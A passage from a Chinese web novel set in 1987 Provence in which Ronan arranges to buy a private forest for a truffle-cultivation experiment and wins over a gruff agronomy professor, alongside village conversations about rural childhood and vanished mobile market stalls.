“手工合作社里的妇女们太热情了,知道布鲁诺经常出差,我要自己一个人照顾两个孩子,在生活上非常照顾我,不仅给我送她们自己种的新鲜蔬菜和新鲜水果,有的时候还会热情的给我和孩子们做完饭再走,一来二去我就学会做乡村美食了。”桑德琳把胳膊肘撑到桌子上,这个话题让她的话匣子打开了,“而且如果我想,可以每晚带着孩子们出去蹭饭,体会地地道道的卢尔马兰风味。” 卢尔马兰手工艺合作社里聚集了村里许许多多的妇女,桑德琳入职时间长了,自然要讲起她的一些情况,例如老公啊,孩子啊什么的。 布鲁诺的工作特殊,担心她一边工作一边照顾两个孩子太辛苦,热心的妇女们用她们的方式对她送来了‘帮助’。 卢尔马兰附近全部是农田,许多村民也有在院子里种蔬菜和水果的习惯,就天天往桑德琳这里送。 在小地方,人与人之间的关系就是这么近,有些家庭一年365天中有300天都要见面,做饭和吃饭都是一起的,但这情况对于从巴黎来的桑德琳来说可就有些‘陌生’了。 巴黎的生活节奏和朋友关系完全不是这样的。 每天被投喂,还隔三差五去参加聚会这一个月发生的事情让她感触颇多——生活绝不只有干不完的工作,还有带孩子们去果园采水果的清晨,有和妇女们一起做饭的中午,有和一大桌子人聊国家、政治、经济、明星和股票的愉快夜晚。 “没想到,我居然在普罗旺斯过上了这么‘奢侈’的生活。”桑德琳开心的说。 这太不可思议了。 佐伊为桑德琳的经历而开心,她看着两个跃跃欲试想要爬树的女孩子说: “搬到乡下不止是大人过上了‘奢侈’生活,孩子们的童年也不一样了,我有些大学同学从小生活在城市里,他们讲起童年只有电视和明星,但在乡村生活的孩子们童年可太丰富了。” 佐伊微笑着说: “你现在让我讲小时候的事,我可以连说一天一夜不重复,我和罗南认识这么久了,还没有给他讲完我全部小时候的故事呢。” 桑德琳颇为认同的点头,随后用下巴指她家大门直对的方向: “你们来的路上,路过的那些葡萄园、麦田、瓜田和果园现在是两个孩子的儿童乐园,爱不释手的玩具越来越少了,每天只想去外面探险,在这里生活了不到一个月,却认识了比在巴黎生活一年更多的小朋友。” 佐伊憧憬着说: “我认为孩子在小时候就应该多多接触大自然,生活在乡下是一个很棒的选择,考虑教育环境也要等他们稍微大一些之后。” 桑德琳笑着看了一眼罗南,问佐伊: “你们已经开始考虑孩子的问题了?” 她也看到了村子里无处不在的‘公示’,今天小情侣一来,她和布鲁诺就送上了祝福。 佐伊也看向罗南,语气轻快的说: “还没有,不过我挺期待的。” 在佐伊和桑德琳聊乡村生活时,布鲁诺已经给罗南介绍完了一些和森林有关的基础信息。 原来在法国,有四分之三的森林是私人的,普罗旺斯也不例外,这里有大量世代相传私人森林地产。 “和农田不同,即使是私有森林也会被森林局严格监管,砍伐和移植等操作必须上报,否则会违反国家《森林法》,因为森林是战略资源,且和居民的生活生态有着千丝万缕的联系。”一聊起工作,布鲁诺变得认真起来,不是那个嘻嘻哈哈的父亲和丈夫了。 罗南今天又学到了新的知识,颇为感兴趣的问: “听你的意思,私有森林买卖的消息,不是谁都能知道的?” 反正罗南没从卢尔斯嘴里听过关于私人森林买卖的消息。 做房产中介的路易也没有涉猎过这个领域。 布鲁诺压低声音说: “私人森林出售也必须要上报地方森林局,因为我们有‘优先购买权’,这条特权规定——在相同价格和条件下,国家有优先购买这片土地的权利。” “又是‘国家优先购买权’!”罗南忍不住惊呼出口。 2月在戈尔德发生的事情又历历在目了。 原来这项特权不只出现在艺术领域啊? 布鲁诺在之前的聚会中,听过农夫们讲起那次惊心动魄的拍卖会,自然知道罗南在吃惊些什么,不过他摇着脑袋说: “我们行使‘优先购买权’和那个什么馆长的初衷不同,国家回收森林是为了整合森林地块,避免过度分割,执行公共林业政策并保护环境。” 罗南又听出了新的关键信息: “那只要放出来的土地,你们都会买下来吗?” 布鲁诺摸着光秃秃的脑袋说: “不同地域有不同的处理方式,主要看部门的预算是否雄厚和领导人持何种态度,但在普罗旺斯,我调来之后私人买家出的几块地都买下来了。” “那你说的这块地——”罗南的话戛然而止,被布鲁诺打断了。 “从整合森林地块角度出发,森林局应该收下这块地,但你买地也有着其他重要同途,那里未来将会成为一片新的黑松露人工培育实验林,这同样是森林局的业务之一如果我们行使特权把地收了,它就必然无法成为实验林,所以从理论上讲,你有机会买下这块地的一部分。” “但前提是,它必须成为实验林?”罗南表情凝重的问,“需要有普罗旺斯松露研究中心介入的那种?” 布鲁诺点头,含蓄的说: “没错,这样机会会更大一些。” 罗南听出了布鲁诺话里的为难。 好朋友是真心想要帮他,但这个忙帮起来也不是那么容易的。 罗南想了几秒,继续问道: “这次的买家要卖多大面积?价格是怎样的?” 刚刚布鲁诺说的是,‘罗南有机会买走其中一部分’,说明这位私人买家要卖的森林面积不小。 布鲁诺撇着嘴说: “整整40公顷,这个卖家非常着急脱手,每公顷的价格只要5万法郎,但前提是必须是一次性买走。” “40公顷?”罗南发出了一道更大声的惊呼声。 卢尔马兰范围内一共也就只有60多公顷的森林,居然有40公顷在私人手里,而且还在一个人手上? “买家是谁知道吗?”罗南好奇的问。 卢尔马兰难道藏着什么他不知道的‘大人物’吗? 布鲁诺平静的摇头: “不知道,那不重要,现在着急的是,你必须得赶紧落实实验林的事,我才好把你的资格加进去,时间不等人。” 罗南皱着眉毛问: “但买家说要一次性买走全部40公顷,我和你们一起买没有问题吧?” 布鲁诺挥着手说: “办法有的是,那人这么着急用钱,还能和钱过不去?到时候一次性给他40公顷的钱就是了。” 另一边。 女人们聊完乡村生活,又顺着孩子的话题,聊起了各自的童年。 在巴黎长大成人的桑德琳,非常好奇佐伊的童年是什么样子的。 跟着一起听故事的,还有森德琳的两个女儿。 但两个孩子没有那么大的耐心,听着听着就去草里玩泥巴去了。 桑德琳看着两个女儿有感而发道: “她们两个比我小时候幸福多了,吃的东西一周不重样子,还都是最新鲜的,除了牛肉、海产品、面包和干货等都可以做到‘自给自足’,完全不用去超市里帮妈妈爸爸抢刚刚摆出来的东西。” 桑德琳的话,让佐伊想起了她小时候的另一件事情: “在我小的时候,大概10岁之前,可以做到‘足不出户’就吃饱饭。” “嗯?”桑德琳好奇的看过去,“我理解你妈妈可以自己做面包,但肉不用买吗?还是说,你家里养了可以吃的家畜?” 村民们能自给自足的东西有限,怎么说每周也得出去两趟买东西吧? “没有,都没有。”佐伊回忆着说,“那个时候,渔夫、屠夫和面包师等定期会出现在村子里,推着他们的移动摊位沿街卖东西。” “真的假的?”桑德琳在脑海中幻想了一下那个场景,觉得如果是那样的话,乡村生活更加有意思了。 “真的,面包师每天清晨都会出现,屠夫是周日来,渔夫是星期二,卖高度蒸馏酒的爷爷会在周四的傍晚出现,装着干货和糖果的车子每个月来一次——”回忆起童年,佐伊满脸笑容,“那个时候每家每户的日历上,都会记着这些商贩来的日期,每到糖果车快来的日子,路边从早到晚都是手里攥着硬币、‘望眼欲穿’的孩子,啊,那个时候太有意思了。” 佐伊再次沉浸入童年的幸福之中,不过过了几秒,她的语气又突然低落下来: “但进入80年代,这些移动摊位就不再出现了。” 普罗旺斯内陆丘陵起伏,村庄小而分散,多位于远离城镇的山丘或谷地,二战后,道路受损严重,交通非常不发达,公共交通直至21世纪才正式建立。 这里是有集市文化,但像卢尔马兰这样的小村子,集市出现的时间非常晚,相同情况的村子数不胜数。 战后很长一段时间,普罗旺斯乡村物资匮乏,汽车的拥有率很低,许多老人和家庭主妇去最近的集市采购食材耗时费力,流动摊位文化因此诞生。 佐伊的小时候,集市文化已进入了尾声,在更早一些,推着移动摊位的不仅仅有鱼贩、屠夫、面包师和酒贩等,还有卖盐、糖、咖啡、布料和工具的.老一代人称其为‘露天集市’,可见规模如何了。 70年代后期,随着汽车普及、自行车也成为了家家户户都买得起的东西,再加上吕贝隆的道路升级.这种时代性的产物逐渐消失,不过那一个个摊位一定会存在于许多普罗旺斯人愉快的童年记忆里。 佐伊是因为亲身经历过,所以有些伤心,但桑德琳的语气居然比佐伊还要低落: “哎,要是现在也有这些移动的摊位就好了。” “为什么这么说?”佐伊从童年的回忆中走出,“现在去集市很方便。” 桑德琳深深叹了一口气: “但面包不好买,旅游季开始后,面包店从早到晚全是排队的人,杂货铺里的面包又不好吃我最近都要开车去梅纳村买面包了,一买买一大兜子,哪里有现烤出来的好吃。” 卢尔马兰只有阿兰那一家面包店,以前足够用了。 但随着老城区的生活区域升级成了小吃街,去阿兰那里买面包的游客占了更大的部分,本村人想要吃面包,都被挤去隔壁村买了。 虽然开车路途倒是不远,但没有那种可以吃到现烤面包的幸福了。 “你们在聊什么?”布鲁诺和罗南结束了他们的森林话题,加入到女人的话题中来。 桑德琳又重复了一遍她的抱怨: “我在羡慕佐伊小时候可以有每天来卖面包的移动摊位,现在在卢尔马兰买面包太不容易了,逼的我都要自己烤面包吃了。” “妈妈只会做乡村面包和吐司!”桑德琳的大女儿马上抗议,“但我想吃梯子面包。” 他们的小女儿用绿毛丑娃娃擦了擦手: “我爱吃熏肉面包、大蒜面包和法棍,这些妈妈都不会!” “好了,你们两个玩的差不多了。”被女儿无情的揭露让桑德琳有些不好意思,她推着两个女儿进屋,“快进去洗澡,乖乖睡觉了。” “再见漂亮姐姐!”两个女孩依依不舍的和佐伊挥手。 “再见罗南哥哥。”她们继续和罗南告别,只是语气很敷衍。 “叔叔!”布鲁诺拿起了父亲架子。 我就比罗南大10岁啊,凭什么他是哥哥,我是爸爸? “好了好了,和孩子置什么气。”罗南和布鲁诺碰了下杯子,“继续喝啊,叔叔。” 别为难孩子,我委屈点就委屈点吧! 第507章 好一位学识渊博的金主! 还好罗南去卡庞特拉之前,先联系了一下普罗旺斯松露研究中心,要不然就要扑空了。 接电话的人说,费尔南教授带着一支小组驻扎到了实验森林附近,已经去一周多了。 确定好人在哪儿,罗南驾车去往卢卡斯买下的那片森林。 这次他是自己去的,卢卡斯还在海边给斯特斯加开拓市场,切尔诺又给他介绍了新的朋友。 罗南去过几次卢卡斯所买下的森林,但都是坐着卢卡斯的车,他只知道那片森林在沃克吕兹省的最西北角上,归属于一个有5000多居民、名叫皮奥朗克的小城镇。 1987年没有导航,一到偏远区域连路标都没了,而卢卡斯买的森林又非常‘深入’.罗南先是在皮奥朗克问了好几个热心市民,又一路拦了好几辆对面开来的车才找到正确的路。 沃克吕兹省森林面积广阔,能连成片的森林主要围绕两个地块生长,一片是吕贝隆山脉,一片是旺图山西麓的背阴面,其余全部为分散的小块林区。 而卢卡斯买下的这片森林,和卢尔马兰附近的森林都属于后者。 “如果有机会买下吕贝隆山脉或者旺图山西麓大片大片的森林培育松露,那这辈子就不用愁了。”随着道路越来越窄,两侧建筑物逐渐荒芜直至全部被森林代取代罗南忍不住做起梦来。 同时,他又忍不住的想到——那些森林有70%的面积都是私人的。 “普罗旺斯有钱人真多” “也不知道在卢尔马兰卖森林的人是谁?住不住在村里呢?” “布鲁诺说,私人森林大概率是世代相传下来的,他/她为什么要卖呢?” “又有哪个贵族走向衰落了?” 一路胡乱想着,又一路不停的问路,走走停停两个多小时,罗南终于跌跌撞撞的到达了这次的目的地——一座荒废的小型伐木场。 看到这座伐木场,说明卢卡斯买的森林到了。 此时伐木场的院子里停了不少辆汽车,还有人在里面搭起了临时帐篷,而之前罗南来的时候,这里面只停有一些器械,其余什么都没有。 “实验中心拿这里当‘大本营’了。”罗南熄火,走下了车子。 伐木场后不远便是生态缓冲带,再往后就是实验林了,这座伐木场的确是最佳的大本营选择。 罗南随便找了一个帐篷钻进去,询问费尔明教授的去处。 那名费尔明教授的学生说,教授正带着一组人在实验林里。 这里距离卢尔马兰不算近,罗南对道路也不熟悉,死等人回来有可能会耽误回程的时间,所以他决定进去找人。 学生嘱咐了罗南一些注意事项,罗南说了一句感谢后,从伐木场的后门离开,进入了森林里。 罗南走后,那名学生和身边的人说: “金主今天来的真不是时候,教授才不会因为实验款项是他出的,就对他礼貌有加.估计他进去只能承接到教授的怒火。” “好了,别聊了,快点继续干活吧。”另一个人催促,“再试验不出教授满意的方案,承受怒火的就是我们了。” 罗南一路谨小慎微的走着,生怕碰坏了路途上的植物。 不要小看缓冲带里的每一株植物,它们全部是卢卡斯去年花钱移植过来或者新培育的.踩坏了罗南是真的心疼。 费尔南教授的团队接手后,又花了些钱把缓冲带做了升级,功效更全面了。 生态缓冲带的作用主要有两个——其一是物理隔离,其二是生态调节,但这两个作用很难用同一种方式获得,所以需要设置成分层的结构。 最外层是乔木防风带,种植的植物有野生橄榄树和黄连木等,其功效是消减风速和减少雨水冲刷,同时这些乔木也可以阻挡大型动物的入侵。 第二层是深根灌木屏障,目之所及多为迷迭香、薰衣草和岩蔷薇等,这些芳香类植物有的可以分泌驱虫物质,有的可以强化气味屏障,作用是阻止外围杂草根系入侵、减少竞争性真菌孢子传播和驱虫的同时,再掩盖住一部分松露气味防止动物挖盗。 最里面一层是绿肥轮作带,这一片区域的作用是增加土壤有机质,但因为普罗旺斯本土可以增长有机质的植物具有季节性,这一片区域春季和秋季会栽种下不同的植物。 穿过这三个区域,罗南终于来到了真正的实验林范围,不过卢卡斯买下的这片森林面积非常大,有10公顷,罗南找了好长时间才找到在里面做实验的小组。 这要多亏了费尔南教授的大嗓门。 罗南隔着两公里就听到他在骂学生了。 “这就是你的透气性方案?菌丝在地里要戴氧气面罩了,你信不信?沙漠里的仙人掌都比这里的呼吸效率高!” “抑菌,我让你们找抑菌的办法,而不是让你们研究如何制作蓝纹奶酪!根本就不用取样实验,我肉眼都能看出这里的菌群生长的多茂盛了!” “还有你拿的这些培养土.丢掉吧,快丢掉吧,把这些土送回卡朋特拉只会让人笑掉大牙。” “我劝你们申请换组吧,我这里需要的是更加有责任心的学生,一个多月过去,看看你们都实验出了些什么?” 虽然挨了骂,但其中一个学生看到罗南来了,还是第一时间提醒了费尔南教授。 这种丢人的事儿可不能让金主知道啊万一他要退钱怎么办呢? 费尔南教授正在气头上,不仅没有停下骂人,还把罗南一起骂了。 他质问道: “谁让你进来的?我们在做无菌实验,你没有做防护就进来,破坏了我们的实验环境,你来负责吗?” 罗南无辜的平坦双手: “我没有聋,你们的实验不太顺利不是吗你刚刚说了,这里的环境都可以制作蓝纹奶酪了。” 都能制作蓝纹奶酪了.还差我这点‘细菌’吗? 费尔南教授皱着眉毛说: “我那是比喻!这里的环境再差,也不可能制作出蓝纹奶酪,我们的除菌率已经做到了65%以上,只是还没达到我的要求,而且这两种环境根本无法相提并论,蓝纹奶酪需要——” 罗南可没有时间听教授在这里长篇大论,他做了一个‘饶了我吧’的表情,抢着开口: “明白明白,蓝纹奶酪需要的核心微生物是娄地青霉,那需要乳酸菌和芽孢杆菌,这个环境根本不可能产生这两种菌群。” 费尔南教授和他身边同情的关注着罗南的学生们同时瞪大了眼睛。 不是这金主学识挺渊博啊! “说吧,来这里什么事。”将学生们打发去了别处,费尔明教授还算心情气和的问起了罗南的来意。 对待懂他现在在做什么、未来要做什么、目的是什么的金主,他还是能冷静下来,把态度控制好的。 罗南没有绕弯子,直截了当的说: “我要在卢尔马兰买一片新的森林,面积不大,也做松露培育实验,您还有精力把那里也一起接手吗?” 几个月前,朱莉特曾经跟罗南说过,在此刻的普罗旺斯,还愿意投钱做人工培育松露的人越来越少了。 这次由农业部牵头,为了应对年初寒潮展开的‘人工培育松露实验’项目的目标是300公顷森林,但凑了好几个月连一半都没有凑够。 既然这样,多那一小片林子人手应该是够的。 费尔南教授想都没想就摇头: “接手不了,我们的精力有限,现在在全力攻克两个技术难题,解决不了这两个难题,接手再多的森林也是徒劳的。” 上一次见面时,费尔南教授对罗南说过他们未来几个月的计划——在秋季定植之前,力争找到有效提升土壤除菌和透气性的办法。 而刚才他骂学生的话,罗南也都听清了,全部是围绕这两个问题的,显然教授口中的技术难题就是这两个。 对费尔南教授的性格有所了解,罗南直白的问: “一点提升都没有?” 费尔南教授直言不讳的说: “有提升,但还无法达到我所要的目标。” 罗南看着脚边,一看就刚被翻过的泥土问: “我能问一问,您现在的实验方向是什么吗?” 做为金主,罗南有权知道实验室在做什么,于是费尔南教授简明扼要的回答: “针对土壤除菌,我的目标是创建一个清洁和理想的基础环境,尽可能清除掉所有潜在威胁后,定植之后的一个个操作才能有所保障。” 见罗南低头不语,费尔南教授又多说了几句: “主要实验方向是大规模化学熏蒸、蒸汽灭菌或深度翻晒土壤使其暴露在太阳紫外线下,通过真菌、细菌和线虫存活率判断实验成功与否,最终目标是通过实验创造一个相对无菌或低菌的空白环境,减少竞争,让接种的黑松露菌种有更大生长空间和存活概率。” 安静了几秒后,罗南突然抬头对他说: “我在听,您继续说。” 罗南给了反应,费尔南教授才继续说道: “透气性没有什么好说的,和你们去年做实验时的方式相同,在重质土壤中添加粗砂或细碎岩屑来增加大孔隙,现在实验的维度是加入粗砂和细碎岩屑的比例,和深耕的深度测试。” 又一个短暂的沉默出现了,罗南只是低头沉思,一句话都不说。 费尔南教授心中的怒火又涌了上来。 你知道我的时间有多宝贵吗? 我留下和你说话,你却频频走神真是太不尊重人了! 费尔南教授生气的拂袖而去,连招呼都没打。 刚走了两步,他身后的罗南才开口: “我最近又从松露猎人嘴里听到了点新东西你想听听吗?” 罗南刚才当然不是愣神,他听的可认真了。 他不只听的认真,他还一心两用。 将【种植】升到5级时,罗南获得了两个技能。 一个是‘模拟器’——设定作物和环境等具体种植信息,可以推演出N多个结局。 罗南就是通过这个能力,找到在普罗旺斯培育梅洛方法的。 而第二个技能,即使过了两个月时间,罗南还是没有完全掌握,升级后他的脑海中又多出了一本类似‘黄页’的东西。 但这本‘黄页’和烹饪那边的‘黄页’比可就太晦涩难懂了。 得到这东西后,罗南几乎每天都会翻几页看看,除了极少数词条和知识他能一次性看懂外,大部分的词条和知识他只能粗略的了解,需要反复研读和消化才能完全吃透。 为了快速运用这个能力,罗南转换了思路,不再死磕某一个词条、在上面花费大量的时间,而是先快速过了一遍,让整本‘黄页’的内容在心里有个数。 等用到哪里时,再逐一攻破。 这不,在费尔南教授提到土壤除菌和空气透气性时,罗南正翻书呢。 ‘黄页’以词条的形式呈现,而且非常晦涩,罗南浪费了一点时间,才找到有可能可以攻破这两个难题的办法。 为什么说有可能呢? 因为这两个词条罗南还没有研究明白,他也不敢乱说啊。 罗南之前就是以同样的借口,帮助费尔南找到了更加先进的菌丝定植方式,比原先的成功率高了差不多一倍。 听到罗南又从松露猎人手里听到什么消息了,他怎么可能不感兴趣呢? “又是什么先进的技术吗?”他认真的问。 罗南蹲到地上,抓了一把土,仔细搓了两下: “不是先进的技术,而是一个思路。” 罗南看向不远处的教授: “您的目标是创建一个足够清洁和理想的环境,让松露安全的生长,但这个足够理想的状态真的存在吗?恐怕很难吧既然这样,为什么不试着创造一个支持共生关系的特定微生态环境呢?比如和某些健康的微生物共存?” 长时间的沉默第三次出现。 但这次沉默的是费尔南。 过了好久好久,他问罗南: “那个松露猎人有说哪里做过这项实验,或者哪里有实验数据可以查询吗?” 上一次,他就是通过去寻找实验数据来印证方法可行的。 罗南耸肩,歉意的说: “这次没有,但我觉得这不需要实验什么吧,我们的菌丝和宿主树就是共生的关系啊。” 费尔南严肃的摇头: “一字之差,千差万别。” 罗南鼓动着说: “那您可以牵头做这个实验,不指望别人。” 罗南很有自知之明,在系统的帮助下,他可以有很多很多身份,但其中绝对没有‘科学家’这个。 只是看‘黄页’里的知识就很艰难了,他根本没有能力将它们一个个付诸实践,要知道知识和实践之间还差着十万八千里呢,理论不等于可以成功。 退一万步讲,罗南也不想把大把的青春浪费在实验室里,他的生活不该是这样的。 他需要一个帮手,还需要一支可以不停的去实验、去尝试、去把理论变成现实的队伍。 罗南继续厚颜无耻的‘毛遂自荐’: “就比如找个新的地块,就用我新买的那块地怎么样?” 费尔南表情凝重,似乎在权衡着什么。 见他的‘帮手’还是无动于衷,罗南用蛊惑性极强的语气说: “我的那块地在卢尔马兰,就在我生活的村子里,距离近,我没事也能多去看看,给你们帮帮忙什么的,皮奥朗克距离我生活的地方太远了。” 费尔南教授毫不犹豫的转身就走: “走,去看看那块地去。” 你以为费尔南沉默,是在思考这个新思路的合理性吗? 错,大错特错! 他是在思考,如何能拉下老脸,让罗南没事多过来看看。 这个不一般的金主认识了一群了不起的松露猎人啊! 第508章 我真不是在装逼啊 实验小组要继续留在皮奥朗克做实验,费尔南教授带了一个学生,跟随罗南去了卢尔马兰。 有可能是最近被学生们的表现气到了,费尔南没有选择坐学生开的车子,而是坐到了罗南的车上。 这一路上,他主动说起了许多有关黑松露人工培育实验的目标和方法,不仅仅有定植之前的,还有定植之后的,那事无巨细的样子都把罗南吓到了。 要知道他们上一次见面,这位教授连‘黑松露组培苗共生体构建法’是什么都懒得给两位金主解释,这一次见面就变成‘做汇报’了。 罗南明白,教授想从他嘴里套出更多‘松露猎人’的话,但他一次性接收的消息太多,已经找不过来了。 “我们一步一步来吧,在定植之前只围绕有效提升土壤除菌和透气性做努力。”罗南适时的打断了教授的侃侃而谈,“能在秋季之前解决这两个难题就很不错了。” 费尔南也意识到自己有些心急,有了卢尔马兰这片实验林,就有了和罗南频繁见面的机会,说不定实验全程都可以拉着他一起参加,那么他的实验团队就会无形中多出一整只‘松露猎人’团队。 教授对松露猎人可以提供‘突发奇想’的事深信不疑。 普罗旺斯松露猎人历史悠久,可以追溯到公元前3世纪,千百年来不知道流传下来了多少人工的智慧和经验方法,而普罗旺斯的黑松露人工培育实验是在二战后才起步的。 他是搞学术研究的,松露猎人是搞‘实践’的,真理到底在谁的手上现在还真说不好。 费尔南知道罗南是一位优秀的松露猎人,他猜罗南背后可能有一位经验丰富的‘老师’在教他。 不过这一切的前提是——卢尔马兰那片森林可以成功的交到研究中心手里。 想到这里,费尔南心事重重的说: “先去看看那里的情况,如果没有什么问题,我立马加一组人来卢尔马兰做新的实验。” “能有什么问题?”罗南笑着说,“其实您根本没必要跑这一趟,只要同意接管这片森林,我马上就把地买下来,之后直接派人过来就行了啊。” 费尔南摇着脑袋说: “‘实验田’项目没有你想的那么简单,有了地、有了钱就能顺利的展开要了解的信息非常庞杂,在没了解清楚细节之前,我没办法点头同意的。” 罗南咂了一下嘴: “但您接手皮奥朗克那片林子的时候,没有了解什么吧?” 费尔南教授扭头看向罗南: “怎么没了解?你难道没有写过申请报告吗?申请理由是给农业部看的,他们会根据你写的理由决定是否投钱扶持项目,申请表里其他信息都是我们要的,需要评估很多东西之后我们才会接。” 罗南想起来了,他之前是提交过一次实验林的申请报告,申请理由是朱莉特帮他‘润色’的,而其他信息都是和森林地块有关的,例如面积、所属管辖区、维护单位、隶属于哪个消防队等等.的确非常的庞杂。 本以为教授人都来了,这事肯定成了,没想到背后还有一步看起来很复杂的评估。 “需要评估的信息有什么?”罗南内心忐忑的问。 虽然罗南是‘金主爸爸’,但费尔南教授很理想的把他当作了实验中的‘合作伙伴’,比那些学生有用多了的那种既然是自己人,口风也就没有那么严了: “有政策方面的,例如这片森林在未来几年中是否有被国家征用或者砍伐的可能性,地方政府对和农事有关的业务是否支持等等,还有环境方面的,我们要全面考察目标森林周围的情况,总之很复杂,以前遇到过投入了大量的心血在一个野外项目上,但因为管辖区域的其他政策,或者投资人临时撤资将土地做其他用途,实验不得不停下的情况。” 法国政府强制征用私人土地或森林的情况极为罕见,但如果有‘重大公共利益项目’立项,他们会用极高的地价回收土地。 而‘重大公共利益项目’通常指国家基建、国防和自然灾害防治等,其中国家基建在80年代非常常见,因为吕贝隆的公路都是在这前后修建起来的。 费尔南表情严肃,可罗南的表情却稍微轻松一点了: “原来是评估这些啊,那您不用担心,我保证,即使未来卢尔马兰附近要修什么,也不会修到我的那片实验林上。” 费尔南一副‘你没事吧’的表情,把罗南和那些财大气粗、没有什么文化只会‘装逼’的金主画上了等号,语气很差的说: “我也保证,政府才不会管那是什么实验,又能给地方带来什么帮助,只要政策落实下来,会马上和你去谈钱,不信你就看着吧!” 罗南耸了两下肩膀,又撇了撇嘴: “别的地方可能是这样吧.但这里是卢尔马兰。” “卢尔马兰怎么了?”费尔南教授眉毛拧成一个八字。 此时,车子的正前方,隐隐约约出现了卢尔马兰城堡的尖顶,他们的目的地到了。 “您是不是好久没来过卢尔马兰了?要不这样吧,咱们去看森林之前,我先带您在卢尔马兰转一转,给您介绍介绍——”罗南笑着指了一下卢尔马兰城堡,“那里,我结婚的地方,下个月20号您一定得来啊。” 费尔南:“?” “这些路标您看到了吧?他们指的都是我的餐厅,卢尔马兰附近的路标指的不是城堡也不是教堂,甚至不是任何一个旅游景点.他们是为了指引来吃饭的顾客特意修建的。” “这辆坐满人的小巴是拉游客去葡萄园野餐的,开车的司机是我酒庄里的伙计,哦,忘了给您介绍,葡萄园野餐项目也是我的。” “那个小孩手里拿的编织老虎是从我的手工合作社里买的,他妈妈手里拿的那个‘奇形怪状’的灯应该是跟着妇女们学着做的,卢尔马兰手工艺合作社里有几十个全职女工,您要不要去看看?” “诶,那个女孩手里的糕点,还有那个男孩手里的熔岩巧克力都是我餐厅的特色甜品,他们一定刚刚在我那里吃完饭,对了,你吃午饭了吗?” “我们面前正在修建的这一大片是卢尔马兰商业中心的二期和三期,里面有三个店铺是我的,您问我开什么店?开什么我还没想好您有什么建议吗?” 你问我有什么建议,我配给你提建议吗?——这是费尔南教授此刻最想说的话。 卢尔马兰村里上上下下,里里外外,前前后后全部和罗南有着千丝万缕的联系。 他开始有一点相信.这里的政策无法影响到罗南了。 最后,罗南一脚油门,把教授带到了斯特斯加坐落的北坡上。 特奥这几个月加班加点的监工,此时的斯特斯加已‘初见雏形’,这个月仓库可以投入使用,8月底之前可以全部竣工。 “斯特斯加,我的粉红酒庄。”罗南突然看向费尔南,“教授,您喝粉红酒吗?一会走的时候拿几瓶啊。” 斯特斯加是普罗旺斯最知名的粉红酒庄,费尔南就算再一心搞科研、不谙世事也不可能没有听过。 他看着山顶那座越来越大的宏伟建筑群问: “这些都是你的酒庄?” “不啊。”罗南摇头。 费尔南可算松了一口气。 他就说嘛,这也太夸张了! 罗南指着更远的地方说: “等酒庄修好,后面要再修建一座城堡,和酒庄连接上,这一大片未来是城堡酒庄。” 费尔南差点把自己的舌头咬到。 他小心翼翼的看向身边的‘金主’.上帝,这位是卢尔马兰的‘国王’吗?! 费尔南教授一时间受到的震惊太多,暂时丧失了语言能力,一味的看着窗外沉默。 主要是他不知道要说什么了夸吧,不符合身份。 不夸吧,又实在没有什么其他想要说的话。 就安静的看着吧。 突然,罗南指着两侧光秃秃的农田说: “您别看现在这里丑了点,土黄土黄的,什么都没有,等秋天葡萄藤入土,明年春天这里就绿了,那个时候一定漂亮极了。” 这一次,费尔南教授终于说话了: “为什么秋天入土?” 谢天谢地,他终于找到可以说两句的话题了。 罗南降低了车速,以便可以让教授看清楚细节: “因为我在春天做了土壤改良,在原先的石灰岩风化土里加入了粘土,把这里改成了黏土-石灰岩混合土壤,需要自然沉降半年再插苗。” 费尔南教授是农业学科的专家,他马上下意识的问: “你要种什么葡萄?” “梅洛。”罗南不知道教授懂不懂葡萄,特意解释了两句,“一种在波尔多右岸广泛使用的葡萄,其实我在普罗旺斯一共参与了两个‘实验田’项目,这就是另一个。” “停车。”费尔南突然出声,罗南停下车后,他第一时间开门出去。 费尔南在最靠近土路的农田里走了一圈,又蹲到地上抓了一把土仔细观察,过了好一会才问: “这个项目是哪个学院在支持你?” 罗南耸肩: “没人支持。” “土壤改良是你自己做的?”费尔南教授猛地抬头。 “对啊。”罗南点头,“不仅土壤改良,排水管路和滴灌设备也是我自己设计的。” 短暂的安静了几秒钟后,费尔南教授表情复杂的问: “这个项目缺技术支持吗?我的意思是我可以派几个学生过来协助你。” 罗南立即点头: “可以啊,当然可以,太欢迎了。” 好耶,又多了一个实验小组。 费尔南教授也如释重负的露出了微笑。 太棒了,和罗南的交集又多了一个,那帮不中用的学生可以学习的课题又多一个了。 还没去新的实验森林,费尔南教授的评估就完成了个七七八八。 以罗南的实力,以他在卢尔马兰的影响力想必政府不敢轻易动他的项目。 而且费尔南教授猜,罗南说不定都可以决定卢尔马兰发展和建设什么。 所以政策方面的担忧基本没了,他买下的森林被政府征用的概率很小很小。 但环境因素还是要考察一下。 事实上,罗南也没去过布鲁诺口中的森林,只知道大概的方向——在卢尔马兰的西北侧,就是卢卡斯家所在那片森林的后方。 去之前,罗南特意给布鲁诺打了一个电话,询问具体的情况。 布鲁诺特别心大的回: “对对对,就是你说的那个地方,那里一共有40公顷森林,要买哪一片你就自己挑吧,只要不是从最中心挖个洞,沿着边缘买,问题都不大。” 罗南了解这片森林和目前的情况,布鲁诺尽心尽力的想帮罗南在40公顷里挤出来那么一点点,而且颇有一番——兄弟你先挑,你挑完我们再买的架势。 但这个情况费尔南教授不知道,罗南也不想让他知道。 充分理解了布鲁诺话里的意思后,罗南把费尔南教授和他的学生带到了卢卡斯家附近。 “你要买的森林在这里?”费尔南表情严肃的看向面前的森林边缘。 这片实验林没问题,他才有机会和罗南进行密集的往来,所以他本心是想要接下这片森林的。 不过他还是会专业、客观的对环境进行评估,只是心里有点紧张。 罗南大手一挥,指着连绵不绝的墨绿色‘城墙’说: “您看看这一片森林里,哪里最适合做人工培育松露实验吧,哪里适合哪里就是我要买的。” 这次连费尔南教授的学生都绷不住了。 上帝哟,好大的口气啊。 他偷偷看向自己的老师。 全技术院的人都知道,费尔南教授最烦爱‘装逼’的人,尤其是那些金主爸爸。 惨了惨了,教授肯定要‘怼’回去了。 怎料费尔南教授在短暂的沉默之后,对那名学生挥了挥手: “我们进去仔细看看吧。” 那名学生:“?” 不是,教授在金主的车上被‘夺舍’了? 费尔南带着学生认真的在森林里进行了几个小时考察,天黑了还在周围比比画画的,终于确定了一个大概的目标——起始点在卢卡斯家以西2公里的地方。 教授告诉罗南,从这里开始往前5公里,都可以做为实验林生态缓冲带的边缘,往里面延伸多少,就看罗南要买多大的面积了。 虽然罗南全程跟着教授在森林里面考察,但看了这么久都没看明白,教授是从哪几个方面确定目标的。 他虚心求教: “我能问问原因吗?” 